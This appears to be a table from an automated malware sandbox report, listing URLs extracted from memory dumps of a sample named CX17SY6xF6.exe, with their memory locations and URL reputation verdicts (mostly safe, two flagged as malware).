https://www.elpro.si/kategorija-izdelka/industrijske-tablice-telefoni-handheld/industrijski-skenerji	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/merilniki-vlage/rotronic-vlaga-aktivnost-vode-dew-point-moni	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.aevga.com/	CX17SY6xF6.exe, 00000000.00000003.583387264.0000000007360000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585500794.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/termometri-dataloggerji-ex/termometri/alkoholni-termometri/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-restoration/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.593041864.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.713334374.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595870614.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.711533281.0000000005870000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.710627178.0000000004000000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/tlacni-vmesniki/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.681114888.00000000071FB000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.648512272.00000000071FB000.00000004.00000020.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	CX17SY6xF6.exe, 00000000.00000003.581132870.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.579192440.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/services-capabilities/stencil/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-brands-400.woff2	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.pwd.org/h	CX17SY6xF6.exe, 00000000.00000002.888204578.00000000071D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hotel-amadeus-frankfurt.de/js/jQuery/jquery-1.9.1.min.js	CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.639995551.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hotel-amadeus-frankfurt.de/modules/contentDisplay/contentDisplay.mod.css	CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.639995551.0000000005170000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/	CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000002.883743632.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.756364924.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.633076695.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.754365572.0000000004900000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.744273277.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.595947811.0000000007260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
